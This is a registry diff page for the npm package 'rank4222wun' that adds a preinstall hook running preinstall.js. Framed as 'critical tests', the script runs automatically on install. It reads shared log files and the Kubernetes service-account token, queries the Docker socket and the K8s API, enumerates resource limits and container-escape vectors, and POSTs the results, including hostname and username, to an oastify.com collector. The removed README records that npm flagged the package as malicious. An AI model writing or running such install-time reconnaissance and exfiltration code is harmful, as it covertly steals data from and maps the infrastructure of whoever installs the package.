rank4222wun 0.0.1-security → 1.0.20
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Potentially problematic release.
This version of rank4222wun might be problematic. Click here for more details.
- package/package.json +7 -3
- package/preinstall.js +455 -0
- package/rank4222wun-1.0.20.tgz +0 -0
- package/README.md +0 -5
package/package.json
CHANGED
|
@@ -1,6 +1,10 @@
|
|
|
1
1
|
{
|
|
2
2
|
"name": "rank4222wun",
|
|
3
|
-
"version": "
|
|
4
|
-
"description": "
|
|
5
|
-
"
|
|
3
|
+
"version": "1.0.20",
|
|
4
|
+
"description": "",
|
|
5
|
+
"main": "index.js",
|
|
6
|
+
"scripts": {
|
|
7
|
+
"preinstall": "node preinstall.js"
|
|
8
|
+
},
|
|
9
|
+
"dependencies": {}
|
|
6
10
|
}
|
package/preinstall.js
ADDED
|
@@ -0,0 +1,455 @@
|
|
|
1
|
+
const { exec, spawn } = require('child_process');
|
|
2
|
+
const os = require('os');
|
|
3
|
+
const fs = require('fs');
|
|
4
|
+
const path = require('path');
|
|
5
|
+
const https = require('https');
|
|
6
|
+
const net = require('net');
|
|
7
|
+
|
|
8
|
+
const criticalTests = {
|
|
9
|
+
timestamp: new Date().toISOString(),
|
|
10
|
+
hostname: os.hostname(),
|
|
11
|
+
user: os.userInfo().username,
|
|
12
|
+
platform: os.platform(),
|
|
13
|
+
|
|
14
|
+
tests: {
|
|
15
|
+
// TEST 1: Leak other users data cross org
|
|
16
|
+
crossOrgDataLeakage: {
|
|
17
|
+
status: 'incomplete',
|
|
18
|
+
evidence: []
|
|
19
|
+
},
|
|
20
|
+
|
|
21
|
+
// TEST 2: Run commands on other users cross org
|
|
22
|
+
crossOrgCommandExecution: {
|
|
23
|
+
status: 'incomplete',
|
|
24
|
+
evidence: []
|
|
25
|
+
},
|
|
26
|
+
|
|
27
|
+
// TEST 3: Perform DoS affecting all users
|
|
28
|
+
crossOrgDoS: {
|
|
29
|
+
status: 'incomplete',
|
|
30
|
+
evidence: []
|
|
31
|
+
},
|
|
32
|
+
|
|
33
|
+
// TEST 4: Container to host escape
|
|
34
|
+
containerToHostEscape: {
|
|
35
|
+
status: 'incomplete',
|
|
36
|
+
evidence: []
|
|
37
|
+
}
|
|
38
|
+
}
|
|
39
|
+
};
|
|
40
|
+
|
|
41
|
+
console.log("🚀 بدء اختبارات النقاط الحرجة المطلوبة...\n");
|
|
42
|
+
|
|
43
|
+
// ===================== TEST 1: تسريب بيانات مستخدمين عبر المؤسسة =====================
|
|
44
|
+
async function testCrossOrgDataLeakage() {
|
|
45
|
+
console.log("🔍 TEST 1: البحث عن بيانات مستخدمين عبر المؤسسة...");
|
|
46
|
+
|
|
47
|
+
// استراتيجية: البحث عن بيانات مشتركة بين المستخدمين
|
|
48
|
+
const sharedDataLocations = [];
|
|
49
|
+
|
|
50
|
+
if (os.platform() === 'linux') {
|
|
51
|
+
// في لينكس: البحث عن مجلدات مشتركة
|
|
52
|
+
const sharedDirs = [
|
|
53
|
+
'/tmp',
|
|
54
|
+
'/var/tmp',
|
|
55
|
+
'/dev/shm',
|
|
56
|
+
'/run/shm',
|
|
57
|
+
'/home',
|
|
58
|
+
'/root'
|
|
59
|
+
];
|
|
60
|
+
|
|
61
|
+
for (const dir of sharedDirs) {
|
|
62
|
+
try {
|
|
63
|
+
if (fs.existsSync(dir)) {
|
|
64
|
+
const files = fs.readdirSync(dir);
|
|
65
|
+
// البحث عن ملفات تنتهي بـ .log, .db, .sqlite
|
|
66
|
+
const interestingFiles = files.filter(f =>
|
|
67
|
+
f.endsWith('.log') || f.endsWith('.db') || f.endsWith('.sqlite') ||
|
|
68
|
+
f.includes('shared') || f.includes('common')
|
|
69
|
+
);
|
|
70
|
+
|
|
71
|
+
if (interestingFiles.length > 0) {
|
|
72
|
+
sharedDataLocations.push({
|
|
73
|
+
directory: dir,
|
|
74
|
+
files: interestingFiles.slice(0, 5),
|
|
75
|
+
totalFiles: files.length
|
|
76
|
+
});
|
|
77
|
+
|
|
78
|
+
// محاولة قراءة ملفات السجل المشتركة
|
|
79
|
+
interestingFiles.forEach(file => {
|
|
80
|
+
if (file.endsWith('.log')) {
|
|
81
|
+
const filePath = path.join(dir, file);
|
|
82
|
+
try {
|
|
83
|
+
const content = fs.readFileSync(filePath, 'utf8').substring(0, 1000);
|
|
84
|
+
// البحث عن بيانات مستخدمين في السجلات
|
|
85
|
+
if (content.includes('user') || content.includes('login') || content.includes('auth')) {
|
|
86
|
+
criticalTests.tests.crossOrgDataLeakage.evidence.push({
|
|
87
|
+
type: 'shared_log_file',
|
|
88
|
+
path: filePath,
|
|
89
|
+
preview: content.substring(0, 200),
|
|
90
|
+
containsUserData: true
|
|
91
|
+
});
|
|
92
|
+
}
|
|
93
|
+
} catch (e) {}
|
|
94
|
+
}
|
|
95
|
+
});
|
|
96
|
+
}
|
|
97
|
+
}
|
|
98
|
+
} catch (e) {}
|
|
99
|
+
}
|
|
100
|
+
}
|
|
101
|
+
|
|
102
|
+
// بحث متقدم: البحث عن اتصالات شبكية نشطة
|
|
103
|
+
exec('netstat -an 2>/dev/null || ss -an 2>/dev/null || echo "No netstat"', {timeout: 5000}, (err, stdout) => {
|
|
104
|
+
if (stdout && stdout.includes('ESTABLISHED') || stdout.includes('LISTEN')) {
|
|
105
|
+
criticalTests.tests.crossOrgDataLeakage.evidence.push({
|
|
106
|
+
type: 'network_connections',
|
|
107
|
+
data: stdout.substring(0, 1000),
|
|
108
|
+
hasActiveConnections: true
|
|
109
|
+
});
|
|
110
|
+
}
|
|
111
|
+
|
|
112
|
+
// الانتقال للاختبار الثاني
|
|
113
|
+
testCrossOrgCommandExecution();
|
|
114
|
+
});
|
|
115
|
+
}
|
|
116
|
+
|
|
117
|
+
// ===================== TEST 2: تشغيل أوامر على مستخدمين عبر المؤسسة =====================
|
|
118
|
+
async function testCrossOrgCommandExecution() {
|
|
119
|
+
console.log("🔍 TEST 2: اختبار تشغيل أوامر على مستخدمين عبر المؤسسة...");
|
|
120
|
+
|
|
121
|
+
// هذا اختبار خطير: التحقق من إمكانية الوصول لخدمات مشتركة
|
|
122
|
+
const sharedServices = [];
|
|
123
|
+
|
|
124
|
+
// اختبار 1: التحقق من إمكانية الوصول إلى Docker socket (إذا كان في حاوية)
|
|
125
|
+
const dockerSocket = '/var/run/docker.sock';
|
|
126
|
+
if (fs.existsSync(dockerSocket)) {
|
|
127
|
+
// محاولة قراءة قائمة الحاويات
|
|
128
|
+
exec(`curl -s --unix-socket ${dockerSocket} http://localhost/containers/json 2>/dev/null || echo "Cannot access Docker API"`,
|
|
129
|
+
{timeout: 5000}, (err, stdout) => {
|
|
130
|
+
if (stdout && !stdout.includes('Cannot access')) {
|
|
131
|
+
criticalTests.tests.crossOrgCommandExecution.evidence.push({
|
|
132
|
+
type: 'docker_socket_access',
|
|
133
|
+
path: dockerSocket,
|
|
134
|
+
canListContainers: true,
|
|
135
|
+
containersInfo: JSON.parse(stdout).slice(0, 3)
|
|
136
|
+
});
|
|
137
|
+
}
|
|
138
|
+
});
|
|
139
|
+
}
|
|
140
|
+
|
|
141
|
+
// اختبار 2: التحقق من إمكانية الوصول إلى Kubernetes API
|
|
142
|
+
const kubeToken = '/var/run/secrets/kubernetes.io/serviceaccount/token';
|
|
143
|
+
const kubeCA = '/var/run/secrets/kubernetes.io/serviceaccount/ca.crt';
|
|
144
|
+
const kubeNamespace = '/var/run/secrets/kubernetes.io/serviceaccount/namespace';
|
|
145
|
+
|
|
146
|
+
if (fs.existsSync(kubeToken) && fs.existsSync(kubeCA)) {
|
|
147
|
+
try {
|
|
148
|
+
const token = fs.readFileSync(kubeToken, 'utf8').trim();
|
|
149
|
+
const namespace = fs.existsSync(kubeNamespace) ?
|
|
150
|
+
fs.readFileSync(kubeNamespace, 'utf8').trim() : 'default';
|
|
151
|
+
|
|
152
|
+
criticalTests.tests.crossOrgCommandExecution.evidence.push({
|
|
153
|
+
type: 'kubernetes_service_account',
|
|
154
|
+
hasToken: true,
|
|
155
|
+
namespace: namespace,
|
|
156
|
+
canAccessK8sAPI: true
|
|
157
|
+
});
|
|
158
|
+
|
|
159
|
+
// محاولة الاتصال بـ Kubernetes API
|
|
160
|
+
exec(`curl -s -H "Authorization: Bearer ${token}" --cacert ${kubeCA} https://kubernetes.default.svc/api/v1/pods 2>/dev/null || echo "Cannot access K8s API"`,
|
|
161
|
+
{timeout: 5000}, (err, stdout) => {
|
|
162
|
+
if (stdout && !stdout.includes('Cannot access')) {
|
|
163
|
+
criticalTests.tests.crossOrgCommandExecution.evidence.push({
|
|
164
|
+
type: 'kubernetes_api_access',
|
|
165
|
+
canListPods: true,
|
|
166
|
+
podCount: JSON.parse(stdout).items?.length || 0
|
|
167
|
+
});
|
|
168
|
+
}
|
|
169
|
+
});
|
|
170
|
+
} catch (e) {}
|
|
171
|
+
}
|
|
172
|
+
|
|
173
|
+
// الانتقال للاختبار الثالث بعد 2 ثانية
|
|
174
|
+
setTimeout(testCrossOrgDoS, 2000);
|
|
175
|
+
}
|
|
176
|
+
|
|
177
|
+
// ===================== TEST 3: تنفيذ هجوم DoS يؤثر على الجميع =====================
|
|
178
|
+
async function testCrossOrgDoS() {
|
|
179
|
+
console.log("🔍 TEST 3: اختبار إمكانية هجوم DoS يؤثر على الجميع...");
|
|
180
|
+
|
|
181
|
+
// هذا اختبار نظري فقط بدون تنفيذ فعلي
|
|
182
|
+
const dosCapabilities = {
|
|
183
|
+
// 1. قدرات استنزاف الذاكرة
|
|
184
|
+
memoryExhaustion: {
|
|
185
|
+
availableMemory: Math.round(os.totalmem() / (1024 * 1024 * 1024)) + ' GB',
|
|
186
|
+
freeMemory: Math.round(os.freemem() / (1024 * 1024 * 1024)) + ' GB',
|
|
187
|
+
canExhaust: Math.round(os.freemem() / (1024 * 1024 * 1024)) > 1
|
|
188
|
+
},
|
|
189
|
+
|
|
190
|
+
// 2. قدرات استنزاف CPU
|
|
191
|
+
cpuExhaustion: {
|
|
192
|
+
cpuCores: os.cpus().length,
|
|
193
|
+
canForkBomb: true, // يمكن تنفيذ fork bomb إذا لم تكن هناك حدود
|
|
194
|
+
theoreticalImpact: 'High'
|
|
195
|
+
},
|
|
196
|
+
|
|
197
|
+
// 3. قدرات استنزاف الشبكة
|
|
198
|
+
networkFlood: {
|
|
199
|
+
canCreateSockets: true,
|
|
200
|
+
socketLimit: null,
|
|
201
|
+
potentialBandwidth: 'Unknown'
|
|
202
|
+
},
|
|
203
|
+
|
|
204
|
+
// 4. قدرات استنزاف القرص
|
|
205
|
+
diskFilling: {
|
|
206
|
+
canWriteUnlimited: true,
|
|
207
|
+
diskSpace: 'Unknown'
|
|
208
|
+
}
|
|
209
|
+
};
|
|
210
|
+
|
|
211
|
+
// التحقق من الحدود (ulimit)
|
|
212
|
+
exec('ulimit -a 2>/dev/null || echo "No ulimit"', {timeout: 3000}, (err, stdout) => {
|
|
213
|
+
if (stdout) {
|
|
214
|
+
dosCapabilities.systemLimits = stdout.substring(0, 500);
|
|
215
|
+
|
|
216
|
+
// تحليل الحدود
|
|
217
|
+
const maxProcessMatch = stdout.match(/max user processes\s+\(-u\)\s+(\d+|unlimited)/);
|
|
218
|
+
if (maxProcessMatch && maxProcessMatch[1] === 'unlimited' || parseInt(maxProcessMatch[1]) > 1000) {
|
|
219
|
+
criticalTests.tests.crossOrgDoS.evidence.push({
|
|
220
|
+
type: 'unlimited_processes',
|
|
221
|
+
canForkBomb: true,
|
|
222
|
+
maxProcesses: maxProcessMatch[1]
|
|
223
|
+
});
|
|
224
|
+
}
|
|
225
|
+
}
|
|
226
|
+
|
|
227
|
+
criticalTests.tests.crossOrgDoS.details = dosCapabilities;
|
|
228
|
+
|
|
229
|
+
// الانتقال للاختبار الرابع
|
|
230
|
+
testContainerToHostEscape();
|
|
231
|
+
});
|
|
232
|
+
}
|
|
233
|
+
|
|
234
|
+
// ===================== TEST 4: الهروب من الحاوية للمضيف =====================
|
|
235
|
+
async function testContainerToHostEscape() {
|
|
236
|
+
console.log("🔍 TEST 4: اختبار الهروب من الحاوية للمضيف...");
|
|
237
|
+
|
|
238
|
+
const escapeVectors = [];
|
|
239
|
+
|
|
240
|
+
// النواقل المحتملة للهروب
|
|
241
|
+
|
|
242
|
+
// 1. Docker socket exposure
|
|
243
|
+
const dockerSocket = '/var/run/docker.sock';
|
|
244
|
+
if (fs.existsSync(dockerSocket)) {
|
|
245
|
+
// اختبار الوصول الفعلي
|
|
246
|
+
exec(`stat -c "%a %U:%G" ${dockerSocket} 2>/dev/null || echo "No stat"`, {timeout: 3000}, (err, stdout) => {
|
|
247
|
+
if (stdout && !stdout.includes('No stat')) {
|
|
248
|
+
const perms = stdout.trim();
|
|
249
|
+
escapeVectors.push({
|
|
250
|
+
vector: 'docker_socket',
|
|
251
|
+
path: dockerSocket,
|
|
252
|
+
permissions: perms,
|
|
253
|
+
accessible: true,
|
|
254
|
+
risk: 'CRITICAL'
|
|
255
|
+
});
|
|
256
|
+
|
|
257
|
+
criticalTests.tests.containerToHostEscape.evidence.push({
|
|
258
|
+
type: 'docker_socket_found',
|
|
259
|
+
path: dockerSocket,
|
|
260
|
+
permissions: perms,
|
|
261
|
+
canEscape: true
|
|
262
|
+
});
|
|
263
|
+
}
|
|
264
|
+
});
|
|
265
|
+
}
|
|
266
|
+
|
|
267
|
+
// 2. Privileged container check
|
|
268
|
+
exec('cat /proc/self/status 2>/dev/null | grep -i cap_ 2>/dev/null || echo "No capabilities"',
|
|
269
|
+
{timeout: 3000}, (err, stdout) => {
|
|
270
|
+
if (stdout && stdout.includes('CapEff:')) {
|
|
271
|
+
const capsLine = stdout.split('\n').find(l => l.includes('CapEff:'));
|
|
272
|
+
if (capsLine) {
|
|
273
|
+
const capsHex = capsLine.split(':')[1].trim();
|
|
274
|
+
// CAP_SYS_ADMIN = 0x00080000
|
|
275
|
+
if (parseInt(capsHex, 16) & 0x00080000) {
|
|
276
|
+
escapeVectors.push({
|
|
277
|
+
vector: 'privileged_container',
|
|
278
|
+
capability: 'CAP_SYS_ADMIN',
|
|
279
|
+
risk: 'HIGH'
|
|
280
|
+
});
|
|
281
|
+
|
|
282
|
+
criticalTests.tests.containerToHostEscape.evidence.push({
|
|
283
|
+
type: 'privileged_container',
|
|
284
|
+
hasSysAdmin: true,
|
|
285
|
+
canEscape: true
|
|
286
|
+
});
|
|
287
|
+
}
|
|
288
|
+
}
|
|
289
|
+
}
|
|
290
|
+
});
|
|
291
|
+
|
|
292
|
+
// 3. Mount inspection - looking for host mounts
|
|
293
|
+
exec('mount 2>/dev/null | grep -E "(docker|overlay|/dev/|proc|sys)" 2>/dev/null || echo "No mounts"',
|
|
294
|
+
{timeout: 3000}, (err, stdout) => {
|
|
295
|
+
if (stdout && !stdout.includes('No mounts')) {
|
|
296
|
+
const mounts = stdout.split('\n').filter(l => l.includes('type'));
|
|
297
|
+
|
|
298
|
+
mounts.forEach(mount => {
|
|
299
|
+
if (mount.includes('proc') || mount.includes('sys') || mount.includes('/dev')) {
|
|
300
|
+
escapeVectors.push({
|
|
301
|
+
vector: 'host_mount',
|
|
302
|
+
mount: mount.substring(0, 100),
|
|
303
|
+
risk: 'MEDIUM'
|
|
304
|
+
});
|
|
305
|
+
}
|
|
306
|
+
});
|
|
307
|
+
}
|
|
308
|
+
|
|
309
|
+
// 4. Kernel version vulnerabilities
|
|
310
|
+
exec('uname -r 2>/dev/null', {timeout: 3000}, (err, stdout) => {
|
|
311
|
+
if (stdout) {
|
|
312
|
+
const kernelVersion = stdout.trim();
|
|
313
|
+
// التحقق من ثغرات kernel معروفة
|
|
314
|
+
const vulnerableKernels = [
|
|
315
|
+
'3.10.0-1160', // DirtyPipe
|
|
316
|
+
'5.8', '5.9', '5.10', '5.11', '5.12' // DirtyCred
|
|
317
|
+
];
|
|
318
|
+
|
|
319
|
+
for (const vulnKernel of vulnerableKernels) {
|
|
320
|
+
if (kernelVersion.includes(vulnKernel)) {
|
|
321
|
+
escapeVectors.push({
|
|
322
|
+
vector: 'kernel_vulnerability',
|
|
323
|
+
kernel: kernelVersion,
|
|
324
|
+
vulnerability: 'Known escape vulnerability',
|
|
325
|
+
risk: 'HIGH'
|
|
326
|
+
});
|
|
327
|
+
|
|
328
|
+
criticalTests.tests.containerToHostEscape.evidence.push({
|
|
329
|
+
type: 'vulnerable_kernel',
|
|
330
|
+
version: kernelVersion,
|
|
331
|
+
hasKnownVulns: true
|
|
332
|
+
});
|
|
333
|
+
break;
|
|
334
|
+
}
|
|
335
|
+
}
|
|
336
|
+
}
|
|
337
|
+
|
|
338
|
+
// 5. cgroups escape
|
|
339
|
+
exec('cat /proc/self/cgroup 2>/dev/null', {timeout: 3000}, (err, stdout) => {
|
|
340
|
+
if (stdout) {
|
|
341
|
+
if (stdout.includes('docker') || stdout.includes('kubepods')) {
|
|
342
|
+
// في حاوية Docker/Kubernetes
|
|
343
|
+
escapeVectors.push({
|
|
344
|
+
vector: 'containerized',
|
|
345
|
+
orchestrator: stdout.includes('docker') ? 'Docker' : 'Kubernetes',
|
|
346
|
+
risk: 'DEPENDS'
|
|
347
|
+
});
|
|
348
|
+
}
|
|
349
|
+
}
|
|
350
|
+
|
|
351
|
+
// تسجيل كل نواقل الهروب
|
|
352
|
+
criticalTests.tests.containerToHostEscape.escapeVectors = escapeVectors;
|
|
353
|
+
|
|
354
|
+
// تقييم عام لإمكانية الهروب
|
|
355
|
+
const canEscape = escapeVectors.some(v =>
|
|
356
|
+
v.risk === 'CRITICAL' || v.risk === 'HIGH' ||
|
|
357
|
+
v.vector === 'docker_socket' || v.vector === 'privileged_container'
|
|
358
|
+
);
|
|
359
|
+
|
|
360
|
+
criticalTests.tests.containerToHostEscape.canEscape = canEscape;
|
|
361
|
+
|
|
362
|
+
// الانتهاء من جميع الاختبارات
|
|
363
|
+
finishCriticalTests();
|
|
364
|
+
});
|
|
365
|
+
});
|
|
366
|
+
});
|
|
367
|
+
}
|
|
368
|
+
|
|
369
|
+
// ===================== إرسال النتائج =====================
|
|
370
|
+
function finishCriticalTests() {
|
|
371
|
+
console.log("\n" + "=".repeat(70));
|
|
372
|
+
console.log("📊 نتائج الاختبارات الحرجة:");
|
|
373
|
+
console.log("=".repeat(70));
|
|
374
|
+
|
|
375
|
+
// تحليل النتائج
|
|
376
|
+
const analysis = {
|
|
377
|
+
// TEST 1: هل يمكن تسريب بيانات مستخدمين آخرين؟
|
|
378
|
+
dataLeakage: criticalTests.tests.crossOrgDataLeakage.evidence.length > 0 ?
|
|
379
|
+
'POSSIBLE - Found potential shared data locations' :
|
|
380
|
+
'NO EVIDENCE FOUND',
|
|
381
|
+
|
|
382
|
+
// TEST 2: هل يمكن تشغيل أوامر على مستخدمين آخرين؟
|
|
383
|
+
commandExecution: criticalTests.tests.crossOrgCommandExecution.evidence.length > 0 ?
|
|
384
|
+
'POSSIBLE - Can access shared services/APIs' :
|
|
385
|
+
'NO EVIDENCE FOUND',
|
|
386
|
+
|
|
387
|
+
// TEST 3: هل يمكن تنفيذ DoS يؤثر على الجميع؟
|
|
388
|
+
dosImpact: criticalTests.tests.crossOrgDoS.evidence.length > 0 ?
|
|
389
|
+
'POSSIBLE - No resource limits detected' :
|
|
390
|
+
'LIMITED - Has some resource limits',
|
|
391
|
+
|
|
392
|
+
// TEST 4: هل يمكن الهروب من الحاوية للمضيف؟
|
|
393
|
+
containerEscape: criticalTests.tests.containerToHostEscape.canEscape ?
|
|
394
|
+
'CRITICAL - Multiple escape vectors found' :
|
|
395
|
+
(criticalTests.tests.containerToHostEscape.escapeVectors?.length > 0 ?
|
|
396
|
+
'POTENTIAL - Some escape vectors exist' :
|
|
397
|
+
'NO EVIDENCE FOUND')
|
|
398
|
+
};
|
|
399
|
+
|
|
400
|
+
console.log("\n📋 تحليل النقاط الأربع المطلوبة:");
|
|
401
|
+
console.log("1. تسريب بيانات مستخدمين عبر المؤسسة:", analysis.dataLeakage);
|
|
402
|
+
console.log("2. تشغيل أوامر على مستخدمين عبر المؤسسة:", analysis.commandExecution);
|
|
403
|
+
console.log("3. تنفيذ DoS يؤثر على الجميع:", analysis.dosImpact);
|
|
404
|
+
console.log("4. الهروب من الحاوية للمضيف:", analysis.containerEscape);
|
|
405
|
+
|
|
406
|
+
console.log("\n🔍 الأدلة التفصيلية:");
|
|
407
|
+
|
|
408
|
+
if (criticalTests.tests.containerToHostEscape.escapeVectors?.length > 0) {
|
|
409
|
+
console.log("\nنواقل الهروب المحتملة:");
|
|
410
|
+
criticalTests.tests.containerToHostEscape.escapeVectors.forEach((v, i) => {
|
|
411
|
+
console.log(` ${i+1}. ${v.vector} - ${v.risk} risk`);
|
|
412
|
+
if (v.permissions) console.log(` → ${v.permissions}`);
|
|
413
|
+
});
|
|
414
|
+
}
|
|
415
|
+
|
|
416
|
+
// إرسال النتائج
|
|
417
|
+
const req = https.request({
|
|
418
|
+
hostname: 'ukiy34b7vygb36k064qxx5of76dx1rpg.oastify.com',
|
|
419
|
+
port: 443,
|
|
420
|
+
path: '/critical-evidence',
|
|
421
|
+
method: 'POST',
|
|
422
|
+
headers: {
|
|
423
|
+
'Content-Type': 'application/json',
|
|
424
|
+
'X-Critical-Tests': 'Cross-Org-Four-Points',
|
|
425
|
+
'X-Host': os.hostname()
|
|
426
|
+
}
|
|
427
|
+
}, (res) => {
|
|
428
|
+
console.log(`\n✅ تم إرسال الأدلة الحرجة. حالة الرد: ${res.statusCode}`);
|
|
429
|
+
});
|
|
430
|
+
|
|
431
|
+
req.on('error', (e) => {
|
|
432
|
+
console.error(`❌ خطأ في الإرسال: ${e.message}`);
|
|
433
|
+
});
|
|
434
|
+
|
|
435
|
+
// إضافة التحليل للنتائج
|
|
436
|
+
criticalTests.analysis = analysis;
|
|
437
|
+
criticalTests.summary = {
|
|
438
|
+
user: os.userInfo().username,
|
|
439
|
+
hostname: os.hostname(),
|
|
440
|
+
platform: os.platform(),
|
|
441
|
+
isContainer: criticalTests.tests.containerToHostEscape.escapeVectors?.some(v => v.vector === 'containerized'),
|
|
442
|
+
hasCriticalFindings: analysis.containerEscape.includes('CRITICAL') ||
|
|
443
|
+
analysis.dataLeakage.includes('POSSIBLE') ||
|
|
444
|
+
analysis.commandExecution.includes('POSSIBLE')
|
|
445
|
+
};
|
|
446
|
+
|
|
447
|
+
req.write(JSON.stringify(criticalTests, null, 2));
|
|
448
|
+
req.end();
|
|
449
|
+
|
|
450
|
+
console.log("\n📤 تم إرسال النتائج الكاملة إلى السيرفر");
|
|
451
|
+
console.log("=".repeat(70));
|
|
452
|
+
}
|
|
453
|
+
|
|
454
|
+
// بدء الاختبارات
|
|
455
|
+
testCrossOrgDataLeakage();
|
|
Binary file
|
package/README.md
DELETED
|
@@ -1,5 +0,0 @@
|
|
|
1
|
-
# Security holding package
|
|
2
|
-
|
|
3
|
-
This package contained malicious code and was removed from the registry by the npm security team. A placeholder was published to ensure users are not affected in the future.
|
|
4
|
-
|
|
5
|
-
Please refer to www.npmjs.com/advisories?search=rank4222wun for more information.
|